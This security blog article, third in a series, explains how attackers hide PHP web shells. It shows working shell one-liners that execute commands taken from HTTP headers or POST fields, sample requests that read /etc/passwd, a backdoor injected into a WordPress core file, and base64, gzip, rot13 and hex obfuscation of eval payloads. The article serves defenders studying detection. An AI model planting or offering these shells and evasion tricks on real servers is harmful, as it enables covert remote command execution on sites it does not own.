Keeping Web Shells Under Cover (Web Shells Part 3)

In part 2 of this series, we looked at specific examples of web shells in the PHP programming language. In part 3 of this series, we’ll be looking at some techniques that attackers use to keep web shells hidden.

Commands can be sent to the web shell using various methods with HTTP POST request being the most common. However, malicious hackers are not exactly people who play by the rules. The following are a few of the possible tricks attackers can use to keep web shells under the radar.

Modifying Headers

Instead of passing the command via the $_POST request parameter, they use the user agent string.

<?php system($_SERVER['HTTP_USER_AGENT'])?>

The attacker would then craft specific HTTP requests by placing the command inside of the User-Agent HTTP header.

GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

The effects of this behavior can be seen in the server log, where, the HTTP User-Agent of the second request was replaced by the cat /etc/passwd command.

192.168.5.26 - - [28/Feb/2020:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
192.168.5.26 - - [28/Feb/2020:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"

The above method is noisy and can very easily tip off an administrator looking at server logs. The following one, though, is not.

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>

GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch
Accept-Language: cat /etc/passwd

The method above leaves no visible tracks (at least in the access log) in regards to which command was executed.

192.168.5.26 - - [28/Feb/2020:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

Hidden in Plain Sight

Most popular PHP shells like c99, r57, b374, and others use filenames that are well-known and will easily raise suspicion. They are blacklisted and can be easily identified. One of the simplest ways that attackers use to hide web shells is to upload them into deep subdirectories and/or by using random names.

http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php

A more effective way is to embed the web shell code into already existing, legitimate files.

http://www.example.com/index.php
http://www.example.com/about.php

Or in the case of a CMS (for example, WordPress)

// http://www.example.com/wp-content/wp-blog-header.php

if ( !isset($wp_did_header) ) {
$wp_did_header = true;

// Load the WordPress Core System
system($_SERVER['HTTP_ACCEPT_LANGUAGE']);

// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );

// Set up the WordPress query
wp();

// Load the theme template
require_once( ABSPATH . WPINC . '/template-loader.php' );
}

Obfuscation

Attackers use various obfuscation techniques in order to avoid being detected by the administrators or by other attackers. They keep coming up with new and more sophisticated ways to hide their code and bypass security systems. Below we will see some of the most common techniques used.

Whitespace

By removing the whitespace from a block of code, it looks like a big string, which makes it less readable and harder to identify what the script does.

<?php 
// Whitespace makes things easy to read 
function myshellexec($cmd){
 global $disablefunc; $result = "";
 if (!empty($cmd)){
 if (is_callable("exec") && !in_array("exec",$disablefunc)) {
 exec($cmd,$result); $result = join("",$result);
 }
 }
 } 
// Whitespace removed makes things harder to read 
function myshellexec($cmd) {global $disablefunc;$result = "";
 if(!empty($cmd)) { if (is_callable("exec") and
 !in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}} 
?>

Scrambling

Scrambling is a technique that can be used effectively in combination with others to help a web shell go undetected. It scrambles the code making it unreadable and makes use of various functions that will reconstruct the code when run.

<?php
// Scrambled
  $k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);

// Unscrambled
  // base_64 encoded string -> system('ls -la');
  $k='c3lzdGVtKCdscyAtbGEnKTs=';
  // strrev() reverses a given string:   strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
  // $c = system('ls -la');
  $f=eval($c);
  eval($f);

Encoding, Compression, and Replacement Techniques

Web shells typically make use of additional techniques to hide what they are doing. Below are some common functions that PHP-based web shells leverage to go undetected.

• eval(): A function that evaluates a given string as PHP code
• assert(): A function that evaluates a given string as PHP code
• base64(): Encodes data with MIME base64 encoding
• gzdeflate(): Compresses a string using DEFLATE data format; gzinflate() decompresses it
• str_rot13(): Shifts every letter of a given string 13 places in the alphabet

The following examples all produce the same result, however, an attacker might choose to use more obfuscation techniques in order for the web shell to keep a low profile.

<?php
  // Evaluates the string "system('ls -la');" as PHP code
  eval("system('ls -la');");
  
  // Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
  
  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
  
  // Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));

  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code
  assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
?>

Using Hex as an Obfuscation Technique

Hexadecimal values of ASCII characters can also be used to further obfuscate web shell commands. Let’s take the following string as an example.

system('cat /etc/passwd');

The following is the value of the above string in hexadecimal.

73797374656d2827636174202f6574632f70617373776427293b

Therefore, the following code can be used to accept a hexadecimal-encoded string and evaluate it as PHP code.

<?php <br ?--> // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){ 
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1])); 
} 
// evaluate/execute the command 
eval($string); 
} 
dcd('73797374656d2827636174202f6574632f70617373776427293b'); 
?>

The output would look similar to the below example.

The above examples can all be decoded using various tools, even if they are encoded multiple times. In some cases, attackers may choose to use encryption, as opposed to encoding, in order to make it harder to determine what the web shell is doing.

The following example is simple, yet practical. While the code is not encoded or encrypted, it is still less detectable than previous because it doesn’t use any suspicious function names (like eval() or assert()), lengthy encoded strings, complicated code; and most importantly, it will not set-off any red flags when administrators view logs (to a certain extend).

<?php
  // Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'
  $_=$_POST['1'];
  $__=$_POST['2'];
  
  //The following will now be equivalent to running -> system('cat /etc/passwd');
  $_($__);
?>

THE AUTHOR

Agathoklis Prodromou
Web Systems Administrator/Developer

Akis has worked in the IT sphere for more than 13 years, developing his skills from a defensive perspective as a System Administrator and Web Developer but also from an offensive perspective as a penetration tester. He holds various professional certifications related to ethical hacking, digital forensics and incident response.